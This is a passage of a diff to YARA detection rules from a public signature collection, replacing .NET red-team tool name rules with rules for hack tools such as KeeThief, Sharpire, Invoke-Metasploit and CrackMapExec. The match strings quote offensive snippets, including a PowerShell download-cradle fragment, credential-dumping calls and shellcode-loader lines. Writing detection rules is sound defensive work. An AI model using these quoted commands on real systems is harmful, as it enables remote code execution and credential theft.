-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <50KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Dotnetavbypass : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Impacket_Keyword : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "918eba2b-150d-5e69-bed0-0979ae889165"
-		date = "2021-01-22"
+		description = "Detects Impacket Keyword in Executable"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a92962e6-1b05-583b-8b06-f226bdea88e2"
+		date = "2017-08-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/mandreko/DotNetAVBypass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L657-L670"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "574a5f1bc1873321042e932ddfd53853e8e06dff3b25f2ad41e6b8aaf150a8b2"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3894-L3911"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "92a911dc36f8e74ad49ae09ef4dd997b968a2dde46a7500c98983fafb84a086e"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9388c78ea6a78dbea307470c94848ae2481481f593d878da7763e649eaab4068"
+		hash2 = "2f6d95e0e15174cfe8e30aaa2c53c74fdd13f9231406b7103da1e099c08be409"
 
 	strings:
-		$name = "DotNetAVBypass" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "impacket.smb(" ascii
+		$s2 = "impacket.ntlm(" ascii
+		$s3 = "impacket.nmb(" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <14000KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Hexyrunner : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Passwordspro : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "67741b4d-7336-5c88-8f2c-e48c10b187b9"
-		date = "2021-01-22"
+		description = "Auto-generated rule - file PasswordsPro.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c749f883-364e-5f65-9eb8-3dcd74495f7c"
+		date = "2017-08-27"
 		modified = "2023-12-05"
-		reference = "https://github.com/bao7uo/HexyRunner"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L672-L685"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c55be1fe285358378a98fd1027650dd20dd8cd0aad4dc062df7a0d4538c78c3b"
+		reference = "PasswordPro"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3924-L3942"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "24887c3a7e4997c9a4e5d3317a5684b0eca7ccc0ffb213660dd9b37bb220f514"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5b3d6654e6d9dc49ee1136c0c8e8122cb0d284562447abfdc05dfe38c79f95bf"
 
 	strings:
-		$name = "HexyRunner" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "No users marked for attack or all marked users already have passwords found!" fullword ascii
+		$s2 = "%s\\PasswordsPro.ini.Dictionaries(%d)" fullword ascii
+		$s3 = "Passwords processed since attack start:" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpoffensiveshell : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Passwordpro_NTLM_DLL : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "f223fb95-9f16-5504-a6ce-de9d75b38eaa"
-		date = "2021-01-22"
+		description = "Auto-generated rule - file NTLM.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cc86b868-000f-56b1-91cd-4aa8caace1df"
+		date = "2017-08-27"
 		modified = "2023-12-05"
-		reference = "https://github.com/darkr4y/SharpOffensiveShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L687-L700"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "36bcae7817eed375e48822a49e6875295ea1037217231a7f9ae88a9b8af95530"
+		reference = "PasswordPro"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3944-L3962"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1021fe1a4c7a237d7a7cfcb1db8fa5e6fa640d3dd9f14ed37910a6b847717d36"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "47d4755d31bb96147e6230d8ea1ecc3065da8e557e8176435ccbcaea16fe50de"
 
 	strings:
-		$name = "SharpOffensiveShell" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "NTLM.dll" fullword ascii
+		$s2 = "Algorithm: NTLM" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <20KB and pe.exports("GetHash") and pe.exports("GetInfo") and ( all of them ))
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Reconness : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Keethief_PS : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "a30188e4-d96a-59d0-9f51-d7a7e07b14ba"
-		date = "2021-01-22"
+		description = "Detects component of KeeTheft - KeePass dump tool - file KeeThief.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9a54e8d1-3cae-51e8-8da0-024ac25dc6d0"
+		date = "2017-08-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/reconness/reconness"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L702-L715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9cb7a3522bada1c724999058ec4ddfde09b22166f8fb3ba184dfe6bec276cfc5"
+		reference = "https://github.com/HarmJ0y/KeeThief"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3974-L3991"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d3d4ff3b854c5efad99e6f20121b16d5f2f0a31a4c8efd87a937f857923a5e1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a3b976279ded8e64b548c1d487212b46b03aaec02cb6e199ea620bd04b8de42f"
 
 	strings:
-		$name = "reconness" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "$WMIProcess = Get-WmiObject win32_process -Filter \"ProcessID = $($KeePassProcess.ID)\"" fullword ascii
+		$x2 = "if($KeePassProcess.FileVersion -match '^2\\.') {" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x7223 and filesize <1000KB and (1 of ($x*)))
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Tvasion : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Keetheft_EXE : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "324cddc6-36d9-5670-827e-24e80dcc66a9"
-		date = "2021-01-22"
+		description = "Detects component of KeeTheft - KeePass dump tool - file KeeTheft.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "65531239-c5fa-5285-8f44-2d858e211c9b"
+		date = "2017-08-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/loadenmb/tvasion"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L717-L730"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6262f751cbb85e702d89e7c5b4efdc8eaf3085101cd7685218ab1e8a2599385"
+		reference = "https://github.com/HarmJ0y/KeeThief"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3993-L4012"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a6019248ad9708b1508fdf77a2ecbe92a7e8aac916fbca88aec117abeb07b9a0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f06789c3e9fe93c165889799608e59dda6b10331b931601c2b5ae06ede41dc22"
 
 	strings:
-		$name = "tvasion" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "Error: Could not create a thread for the shellcode" fullword wide
+		$x2 = "Could not find address marker in shellcode" fullword wide
+		$x3 = "GenerateDecryptionShellCode" fullword ascii
+		$x4 = "KeePassLib.Keys.KcpPassword" fullword wide
+		$x5 = "************ Found a CompositeKey! **********" fullword wide
+		$x6 = "*** Interesting... there are multiple .NET runtimes loaded in KeePass" fullword wide
+		$x7 = "GetKcpPasswordInfo" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Ibombshell : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Keetheft_Out_Shellcode : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "02f3272f-8e75-5df4-9052-a315ae202050"
-		date = "2021-01-22"
+		description = "Detects component of KeeTheft - KeePass dump tool - file Out-Shellcode.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1263ad5d-5d50-50e6-ad78-9d5e4e16634b"
+		date = "2017-08-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Telefonica/ibombshell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L732-L745"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30de65328e2e2230eca3a30490e20c2c6d8ac9bdc835ee15d44300a00b801921"
+		reference = "https://github.com/HarmJ0y/KeeThief"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4014-L4028"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d536edf1a40defc3b3aa7ce8e595c53e7dd3b7f1daea772c13319ee5bf7675e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2afb1c8c82363a0ae43cad9d448dd20bb7d2762aa5ed3672cd8e14dee568e16b"
 
 	strings:
-		$name = "ibombshell" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "Write-Host \"Shellcode length: 0x$(($ShellcodeLength + 1).ToString('X4'))\"" fullword ascii
+		$x2 = "$TextSectionInfo = @($MapContents | Where-Object { $_ -match '\\.text\\W+CODE' })[0]" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( filesize <2KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Remoteprocessinjection : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sharpire : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "f1698cf2-211a-551a-8bc4-4faefcc6106f"
-		date = "2021-01-22"
-		modified = "2023-12-05"
-		reference = "https://github.com/Mr-Un1k0d3r/RemoteProcessInjection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L747-L760"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87d803c361462877f5ebba2a70f611c95b8684fe9f9f747ccf9643fc4e97d9df"
+		description = "Auto-generated rule - file Sharpire.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "747f2798-4f93-5073-b358-969060a1c937"
+		date = "2017-09-23"
+		modified = "2022-12-21"
+		reference = "https://github.com/0xbadjuju/Sharpire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4038-L4061"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1437b4c5229761bcc18d97ea6328866f4b9c763461fa6ecb5c18e6f3961c3114"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "327a1dc2876cd9d7f6a5b3777373087296fc809d466e42861adcf09986c6e587"
 
 	strings:
-		$name = "RemoteProcessInjection" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\obj\\Debug\\Sharpire.pdb" ascii
+		$x2 = "[*] Upload of $fileName successful" fullword wide
+		$s1 = "no shell command supplied" fullword wide
+		$s2 = "/login/process.php" fullword wide
+		$s3 = "invokeShellCommand" fullword ascii
+		$s4 = "..Command execution completed." fullword wide
+		$s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword wide
+		$s6 = "/admin/get.php" fullword wide
+		$s7 = "[!] Error in stopping job: " fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) and 3 of them ))
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_CACTUSTORCH : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Invoke_Metasploit : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "7b1e3015-fada-592c-b120-20aa12247d32"
-		date = "2021-01-22"
+		description = "Detects Invoke-Metasploit Payload"
+		author = "Florian Roth (Nextron Systems)"
+		id = "40452884-df3f-5b49-ad10-05006cb115f2"
+		date = "2017-09-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L762-L775"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51a125a44b5d1e73509bcd29865b26f44a5ee53f6907ee9abffa3eef1bbbdea8"
+		reference = "https://github.com/jaredhaight/Invoke-MetasploitPayload/blob/master/Invoke-MetasploitPayload.ps1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4071-L4086"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ef174008517b101be844e30890626378f49a275bad3f08ce25fb8d6118c77c3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b36d3ca7073741c8a48c578edaa6d3b6a8c3c4413e961a83ad08ad128b843e0b"
 
 	strings:
-		$name = "CACTUSTORCH" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "[*] Looks like we're 64bit, using regular powershell.exe" ascii wide
+		$s2 = "[*] Kicking off download cradle in a new process"
+		$s3 = "Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');'"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( filesize <20KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Pandasniper : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Powershell_Mal_Hacktool_Gen : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "006400fb-7e6d-563b-ba78-17937983c9ba"
-		date = "2021-01-22"
+		description = "Detects PowerShell hack tool samples - generic PE loader"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d1fc4594-d816-5d02-bff6-3f220477b555"
+		date = "2017-11-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/QAX-A-Team/PandaSniper"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L777-L790"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c5a32f22a429777186d88f3fcfa79ad4d971e86ebd6117df74aae19728c6addd"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4088-L4104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "273222cde3ff155cef09c25192dcb4865179e8172e625fe8f43b21a13fe1a170"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d442304ca839d75b34e30e49a8b9437b5ab60b74d85ba9005642632ce7038b32"
 
 	strings:
-		$name = "PandaSniper" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "$PEBytes32 = 'TVqQAAMAAAAEAAAA" wide
+		$x2 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword wide
+		$x3 = "@($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword wide
+		$x4 = "(Shellcode: LoadLibraryA.asm)" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		filesize <8000KB and 1 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Xbapappwhitelistbypasspoc : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_Remoteadmin_1 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "b05253ce-cba4-531d-8f39-d8fae71b114d"
-		date = "2021-01-22"
+		description = "Detects strings from well-known APT malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "da55084c-ec1f-5800-a614-189dce7b5820"
+		date = "2017-12-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/jpginc/xbapAppWhitelistBypassPOC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L792-L805"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c79b70d3a72084dff391ba297518c4fe748d35b794278c4edf2d1faa4bd216e"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4106-L4120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "81912bbfc1f6ac3ec7c54fc935b9ed531c97ad509cf2c096a19e638836cd0baf"
+		score = 45
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "xbapAppWhitelistBypassPOC" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$ = "Radmin, Remote Administrator" wide
+		$ = "Radmin 3.0" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Stagestrike : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Remcom_Remotecommandexecution
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "e3f9de04-87f6-5b07-b5b0-a26167937fcc"
-		date = "2021-01-22"
+		description = "Detects strings from RemCom tool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "90b4ce3c-a690-5b6e-95e8-7e5dc8270152"
+		date = "2017-12-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/RedXRanger/StageStrike"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L807-L820"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "99abc2fee732f27ea94c8ce244dc1742ed01a7753adedd7e80226d1e1c8dee4a"
-		score = 75
+		reference = "https://goo.gl/tezXZt"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4122-L4137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c39a09c8d0c1799febcb4d9eafece43f8b21e7ffc277fdfad6c235eb1a201697"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "StageStrike" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$ = "\\\\.\\pipe\\%s%s%d"
+		$ = "%s\\pipe\\%s%s%d%s"
+		$ = "\\ADMIN$\\System32\\%s%s"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_VULN_PUA_GIGABYTE_Driver_Jul22_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Crackmapexec_EXE : FILE
 {
 	meta:
-		description = "Detects a vulnerable GIGABYTE driver sometimes used by malicious actors to escalate privileges"
+		description = "Detects CrackMapExec hack tool"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c66b858f-a034-53e1-b0fd-e48693fc6913"
-		date = "2022-07-25"
+		id = "9fcfba98-7ba1-5810-99b7-62ad2b1aa4c0"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/malmoeb/status/1551449425842786306"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_gigabyte_driver.yar#L2-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8aeae559b52b8e01ceab8caba24653b949b3bec694a14b36c819b0a7c9f8b7c6"
-		score = 65
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4139-L4155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa05fa41d6aaed45a9b44806a310fdb584874f7eb382e576b36e6d1db87cef88"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		hash1 = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
 
 	strings:
-		$xc1 = { 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73
-               00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 32
-               00 2E 00 33 00 37 00 39 00 30 00 2E 00 31 00 38
-               00 33 00 30 00 20 00 62 00 75 00 69 00 6C 00 74
-               00 20 00 62 00 79 00 3A 00 20 00 57 00 69 00 6E
-               00 44 00 44 00 4B 00 00 00 00 00 32 00 09 00 01
-               00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C
-               00 4E 00 61 00 6D 00 65 00 00 00 67 00 64 00 72
-               00 76 00 2E 00 73 00 79 00 73 }
-		$x1 = "AEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAuADIALgAzADcAOQAwAC4AMQA4ADMAMAAgAGIAdQBpAGwAdAAgAGIAeQA6ACAAVwBpAG4ARABEAEsAAAAAADIACQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAZwBkAHIAdgAuAHMAeQBz"
-		$x2 = "BGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADUALgAyAC4AMwA3ADkAMAAuADEAOAAzADAAIABiAHUAaQBsAHQAIABiAHkAOgAgAFcAaQBuAEQARABLAAAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAGcAZAByAHYALgBzAHkAc"
-		$x3 = "ARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAA1AC4AMgAuADMANwA5ADAALgAxADgAMwAwACAAYgB1AGkAbAB0ACAAYgB5ADoAIABXAGkAbgBEAEQASwAAAAAAMgAJAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABnAGQAcgB2AC4AcwB5AH"
+		$s1 = "core.scripts.secretsdump(" ascii
+		$s2 = "core.scripts.samrdump(" ascii
+		$s3 = "core.uacdump(" ascii
 
 	condition:
-		filesize <4000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <10000KB and 2 of them
 }
-rule SIGNATURE_BASE_MAL_RTF_Embedded_OLE_PE : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Imphash_Passrevealer_PY_EXE : FILE
 {
 	meta:
-		description = "Detects a suspicious string often used in PE files in a hex encoded object stream"
+		description = "Detects an imphash used by password revealer and hack tools (some false positives with hardware driver installers)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "20044f08-9574-5baf-b91e-47613e490d62"
-		date = "2018-01-22"
-		modified = "2023-11-25"
-		reference = "https://www.nextron-systems.com/2018/01/22/creating-yara-rules-detect-embedded-exe-files-ole-objects/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_strings_in_ole.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "054abb34ae84e02469d726809a6d8aa582ebad65dd8385de7800d3f5db7ee31c"
-		score = 65
+		id = "9462dfc4-2feb-591d-ac0c-ba02f093c216"
+		date = "2018-04-06"
+		modified = "2021-11-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4157-L4175"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
